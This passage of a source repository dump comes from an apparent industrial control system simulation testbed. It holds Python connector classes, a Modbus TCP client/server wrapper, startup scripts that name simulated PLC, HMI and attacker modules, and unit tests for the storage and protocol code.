127 | Connector.__init__(self, connection)
128 | path = self._path
129 | self.__IP = path.split(':')[0]
130 | self.__port = path.split(':')[1]
131 | self.__clientModbus = ClientModbus(self.__IP, self.__port)
132 |
133 | def get(self, key):
134 | self.__clientModbus.receive(key)
135 |
136 | def set(self, key, value):
137 | self.__clientModbus.send(key, value)
138 |
139 |
140 | class FileConnector(Connector):
141 | def __init__(self, connection):
142 | Connector.__init__(self, connection)
143 |
144 | def initialize(self, values, clear_old=True):
145 | if not os.path.isfile(self._path):
146 | f = open(self._path, "x")
147 | obj = json.dumps(values)
148 | f.write(obj)
149 | f.close()
150 |
151 | def set(self, key, value):
152 | f = open(self._path, 'w')
153 | data = json.load(f)
154 | data[key] = value
155 | obj = json.dumps(data)
156 | f.write(obj)
157 | f.close()
158 |
159 | def get(self, key):
160 | f = open(self._path)
161 | data = json.load(f)
162 | f.close()
163 | return data[key]
164 |
165 |
166 | class ConnectorFactory:
167 | @staticmethod
168 | def build(connection):
169 | validate_type(connection, 'connection', dict)
170 |
171 | connection_keys = connection.keys()
172 | if (not connection_keys) or (len(connection_keys) != 3):
173 | raise KeyError('Connection must contain 3 keys.')
174 | else:
175 | for key in connection_keys:
176 | if (key != 'path') and (key != 'name') and (key != 'type'):
177 | raise KeyError('%s is an invalid key.' % key)
178 |
179 | if connection['type'] == 'sqlite':
180 | sub_path, extension = splitext(connection['path'])
181 | if extension == '.sqlite':
182 | return SQLiteConnector(connection)
183 | else:
184 | raise ValueError('%s is not acceptable extension for type sqlite.' % extension)
185 |
186 | elif connection['type'] == 'file':
187 | return FileConnector(connection)
188 |
189 | elif connection['type'] == 'hardware':
190 | return HardwareConnector(connection)
191 |
192 | elif connection['type'] == 'memcache':
193 | return MemcacheConnector(connection)
194 |
195 | else:
196 | raise ValueError('Connection type is not supported')
197 |
198 |
--------------------------------------------------------------------------------
/src/ics_sim/helper.py:
--------------------------------------------------------------------------------
1 | import time
2 |
3 |
4 | def validate_type(variable: str, variable_name: str, variable_type: type):
5 | if type(variable) is not variable_type:
6 | raise TypeError('{0} type is not valid for {1}.'.format(type(variable), variable_name))
7 | elif not variable_type:
8 | raise ValueError('Empty {0} is not valid.'.format(variable_name))
9 |
10 |
11 | def current_milli_time():
12 | return round(time.time() * 1000)
13 |
14 |
15 | def current_milli_cycle_time(cycle):
16 | return round(time.time() * 1000 / cycle) * cycle
17 |
18 |
19 | def debug(msg):
20 | print('DEBUG: ', msg)
21 |
22 |
23 | def error(msg):
24 | print('ERROR: ', msg)
25 |
--------------------------------------------------------------------------------
/src/ics_sim/protocol.py:
--------------------------------------------------------------------------------
1 | from pyModbusTCP.client import ModbusClient
2 | from pyModbusTCP.server import ModbusServer, DataBank
3 |
4 |
5 | class Client:
6 | def __init__(self, ip, port):
7 | self.ip = ip
8 | self.port = port
9 |
10 | def receive(self, tag_id):
11 | pass
12 |
13 | def send(self, tag_id, value):
14 | pass
15 |
16 |
17 | class Server:
18 | def __init__(self, ip, port):
19 | self.ip = ip
20 | self.port = port
21 |
22 | def start(self):
23 | pass
24 |
25 | def stop(self):
26 | pass
27 |
28 | def set(self, tag_id, value):
29 | pass
30 |
31 | def get(self, tag_id):
32 | pass
33 |
34 |
35 | class ModbusBase:
36 | def __init__(self, word_num=2, precision=4):
37 | self._precision = precision
38 | self._word_num = word_num
39 | self._precision_factor = pow(10, precision)
40 | self._base = pow(2, 16)
41 | self._max_int = pow(self._base, word_num)
42 |
43 | def decode(self, word_array):
44 |
45 | if len(word_array) != self._word_num:
46 | raise ValueError('word array length is not correct')
47 |
48 | base_holder = 1
49 | result = 0
50 |
51 | for word in word_array:
52 | result *= base_holder
53 | result += word
54 | base_holder *= self._base
55 |
56 | return result / self._precision_factor
57 |
58 | def encode(self, number):
59 |
60 | number = int(number * self._precision_factor)
61 |
62 | if number > self._max_int:
63 | raise ValueError('input number exceed max limit')
64 |
65 | result = []
66 | while number:
67 | result.append(number % self._base)
68 | number = int(number / self._base)
69 |
70 | while len(result) < self._word_num:
71 | result.append(0)
72 |
73 | result.reverse()
74 | return result
75 |
76 | def get_registers(self, index):
77 | return index * self._word_num
78 |
79 |
80 | class ClientModbus(Client, ModbusBase):
81 | def __init__(self, ip, port):
82 | ModbusBase.__init__(self)
83 | Client.__init__(self, ip, port)
84 | self.client = ModbusClient(host=self.ip, port=self.port)
85 |
86 | def receive(self, tag_id):
87 | self.open()
88 | return self.decode(self.client.read_holding_registers(self.get_registers(tag_id), self._word_num))
89 |
90 | def send(self, tag_id, value):
91 | self.open()
92 | self.client.write_multiple_registers(self.get_registers(tag_id), self.encode(value))
93 |
94 | def open(self):
95 | if not self.client.is_open:
96 | self.client.open()
97 |
98 | def close(self):
99 | if self.client.is_open:
100 | self.client.close()
101 |
102 |
103 | class ServerModbus(Server, ModbusBase):
104 | def __init__(self, ip, port):
105 | ModbusBase.__init__(self)
106 | Server.__init__(self, ip, port)
107 | self.server = ModbusServer(ip, port, no_block=True)
108 |
109 | def start(self):
110 | self.server.start()
111 |
112 | def stop(self):
113 | self.server.stop()
114 |
115 | def set(self, tag_id, value):
116 | self.server.data_bank.set_holding_registers(self.get_registers(tag_id),self.encode(value))
117 | #DataBank.set_words(self.get_registers(tag_id), self.encode(value))
118 |
119 | def get(self, tag_id):
120 | return self.decode(self.server.data_bank.get_holding_registers(self.get_registers(tag_id), self._word_num))
121 | #return self.decode(DataBank.get_words(self.get_registers(tag_id), self._word_num))
122 |
123 |
124 |
125 | class ProtocolFactory:
126 | @staticmethod
127 | def create_client(protocol, ip, port):
128 | if protocol == 'ModbusWriteRequest-TCP':
129 | return ClientModbus(ip, port)
130 | else:
131 | raise TypeError()
132 |
133 | @staticmethod
134 | def create_server(protocol, ip, port):
135 | if protocol == 'ModbusWriteRequest-TCP':
136 | return ServerModbus(ip, port)
137 | else:
138 | raise TypeError()
139 |
--------------------------------------------------------------------------------
/src/logs/attack-logs/.gitignore:
--------------------------------------------------------------------------------
1 | #(Keep this empty file here for git directory reason)!
2 |
--------------------------------------------------------------------------------
/src/start.py:
--------------------------------------------------------------------------------
1 | import random
2 |
3 | from pyModbusTCP.server import ModbusServer
4 |
5 | from Configs import TAG
6 | from HMI1 import HMI1
7 | from FactorySimulation import FactorySimulation
8 | from PLC1 import PLC1
9 | from PLC2 import PLC2
10 |
11 | import memcache
12 | from Configs import Connection, TAG
13 |
14 | from ics_sim.protocol import ProtocolFactory
15 | from ics_sim.connectors import FileConnector, ConnectorFactory
16 |
17 | factory = FactorySimulation()
18 | factory.start()
19 |
20 |
21 | plc1 = PLC1()
22 | # plc1.set_record_variables(True)
23 | plc1.start()
24 |
25 |
26 | plc2 = PLC2()
27 | # plc2.set_record_variables(True)
28 | plc2.start()
29 |
30 | hmi1 = HMI1()
31 | hmi1.start()
32 |
33 | """
34 |
35 | connector = ConnectorFactory.build(Connection.File_CONNECTION)
36 | """
37 |
38 |
39 |
40 |
41 |
42 |
43 |
--------------------------------------------------------------------------------
/src/start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #cd src
4 |
5 | name="$1"
6 | if [ -z "$1" ]
7 | then
8 | echo "start command need module_name to initiate!"
9 | exit 1
10 | fi
11 |
12 | if [[ $1 = "FactorySimulation.py" ]]
13 | then
14 |
15 | #IP=$(hostname -I)
16 | #IP_STR=${IP// /,}
17 | sudo memcached -d -u nobody memcached -l 127.0.0.1:11211,192.168.1.31
18 | sudo service memcached start
19 |
20 | fi
21 |
22 | if [ $1 = "PLC1.py" ] || [ $1 = "PLC2.py" ] || [ $1 = "HMI1.py" ] || [ $1 = "HMI2.py" ] || [ $1 = "HMI3.py" ] || [ $1 = "FactorySimulation.py" ] || [ $1 = "Attacker.py" ] || [ $1 = "AttackerMachine.py" ] || [ $1 = "AttackerRemote.py" ]
23 | then
24 | python3 $1
25 | else
26 | echo "the is no command with name: $1"
27 | fi
28 |
--------------------------------------------------------------------------------
/src/storage/.gitignore:
--------------------------------------------------------------------------------
1 | #(Keep this empty file here for git directory reason)!
2 |
--------------------------------------------------------------------------------
/src/tests/connectionTests.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | from Configs import Connection
3 |
4 |
5 | from ics_sim.connectors import SQLiteConnector, MemcacheConnector, ConnectorFactory
6 |
7 |
8 | class ConnectionTests(unittest.TestCase):
9 |
10 | def test_sqlite_connection(self):
11 | try:
12 |
13 | connection = SQLiteConnector(Connection.SQLITE_CONNECTION)
14 |
15 | value1 = 1
16 | value2 = 2
17 |
18 | connection.initialize([('value1', value1), ('value2', value2)])
19 |
20 | retrieved_value1 = connection.get('value1')
21 | self.assertEqual(retrieved_value1, value1 , 'get function in sqliteConnection is not working correctly')
22 |
23 | value1 = 10
24 | connection.set('value1', value1)
25 | retrieved_value1 = connection.get('value1')
26 | self.assertEqual(retrieved_value1, value1, 'set function in sqliteConnection is not working correctly')
27 |
28 |
29 | except Exception:
30 | self.fail("cannot init values in the connection!")
31 |
32 | def test_memcache_connection(self):
33 | try:
34 | connection = MemcacheConnector(Connection.MEMCACHE_LOCAL_CONNECTION)
35 | value1 = 1
36 | value2 = 2
37 | connection.initialize([('value1', value1), ('value2', value2)])
38 |
39 | retrieved_value1 = connection.get('value1')
40 | self.assertEqual(retrieved_value1, value1, 'get function in MemcacheConnection is not working correctly')
41 |
42 | value1 = 10
43 | connection.set('value1', value1)
44 | retrieved_value1 = connection.get('value1')
45 | self.assertEqual(retrieved_value1, value1, 'set function in MemcacheConnection is not working correctly')
46 |
47 |
48 | except Exception:
49 | self.fail("cannot init values in the connection!")
50 |
51 | def test_connection_factory(self):
52 | try:
53 | connection = ConnectorFactory.build(Connection.MEMCACHE_LOCAL_CONNECTION)
54 | value1 = 10
55 | connection.set('value1', value1)
56 | retrieved_value1 = connection.get('value1')
57 | self.assertEqual(retrieved_value1, value1, 'set function in MemcacheConnection is not working correctly')
58 | connection = ConnectorFactory.build(Connection.SQLITE_CONNECTION)
59 | value1 = 10
60 | connection.set('value1', value1)
61 | retrieved_value1 = connection.get('value1')
62 | self.assertEqual(retrieved_value1, value1, 'set function in MemcacheConnection is not working correctly')
63 |
64 | except Exception:
65 | self.fail("cannot init values in the connection!")
66 |
--------------------------------------------------------------------------------
/src/tests/modbusBaseTest.py:
--------------------------------------------------------------------------------
1 | import time
2 | import unittest
3 | from ics_sim.helper import debug
4 | from pyModbusTCP.server import ModbusServer, DataBank
5 |
6 | from ics_sim.protocol import ClientModbus, ServerModbus, ModbusBase
7 |
8 |
9 | class ProtocolTests(unittest.TestCase):
10 |
11 | def test_ModbusBase(self):
12 | modbus_base = ModbusBase()
13 |
14 | self.modbusBase_fuc(modbus_base, 0)
15 | self.modbusBase_fuc(modbus_base, .001)
16 | self.modbusBase_fuc(modbus_base, .000001)
17 | self.modbusBase_fuc(modbus_base, 1)
18 | self.modbusBase_fuc(modbus_base, 7654)
19 | self.modbusBase_fuc(modbus_base, 70000)
20 |
21 | def modbusBase_fuc(self, modbus_base, number):
22 | words = modbus_base.encode(number)
23 | new_number = modbus_base.decode(words)
24 | number = round(number, modbus_base._precision)
25 | self.assertEqual(number, new_number, 'encoding and decoding is wrong ({})'.format(number))
26 |
27 | def test_ModbusServer(self):
28 | server = ModbusServer('127.0.0.1', 5001, no_block=True)
29 | server.start()
30 | server.data_bank.set_holding_registers(5,[10])
31 | received = server.data_bank.get_holding_registers(5,1)[0]
32 | server.stop()
33 |
34 | self.assertEqual(10, received, 'server read write is not compatible')
35 |
36 | def test_ServerModbus(self):
37 | server = ServerModbus('127.0.0.1', 5001)
38 | server.start()
39 |
40 | self.server_modbus_func(0, 0, server)
41 | self.server_modbus_func(0, 10, server)
42 | self.server_modbus_func(0, 10.1, server)
43 | self.server_modbus_func(0, 10.654, server)
44 | self.server_modbus_func(0, 10.654321, server)
45 |
46 | self.server_modbus_func(5, 0, server)
47 | self.server_modbus_func(5, 10, server)
48 | self.server_modbus_func(5, 10.1, server)
49 | self.server_modbus_func(5, 10.654, server)
50 | self.server_modbus_func(5, 10.654321, server)
51 |
52 | server.stop()
53 |
54 | def server_modbus_func(self, tag_id, value, server):
55 | server.set(tag_id, value)
56 | received = server.get(tag_id)
57 | value = round(value, server._precision)
58 | self.assertEqual(value, received, 'test_ServerModbus fails on value = {}'.format(value))
59 |
60 |
61 | def test_client_server_modbus(self):
62 | client = ClientModbus('127.0.0.1', 5001)
63 | server = ServerModbus('127.0.0.1', 5001)
64 | server.start()
65 |
66 | self.client_server_modbus_func(server, client, 0, 10)
67 | self.client_server_modbus_func(server, client, 0, 0)
68 | self.client_server_modbus_func(server, client, 0, 1.2)
69 | self.client_server_modbus_func(server, client, 3, 1.2)
70 | self.client_server_modbus_func(server, client, 3, 7563.42)
71 |
72 | server.stop()
73 | client.close()
74 |
75 | def client_server_modbus_func(self, server, client, tag_id, value):
76 | server.set(tag_id, value)
77 | received = client.receive(tag_id)
78 | value = round(value, server._precision)
79 | self.assertEqual(value, received,'test_client_server_modbus fails on tag_id={} and value={}'.format(tag_id, value))
80 |
81 |
82 | if __name__ == '__main__':
83 | unittest.main()
--------------------------------------------------------------------------------
/src/tests/storage/PhysicalSimulation1.sqlite:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/src/tests/storage/PhysicalSimulation1.sqlite
--------------------------------------------------------------------------------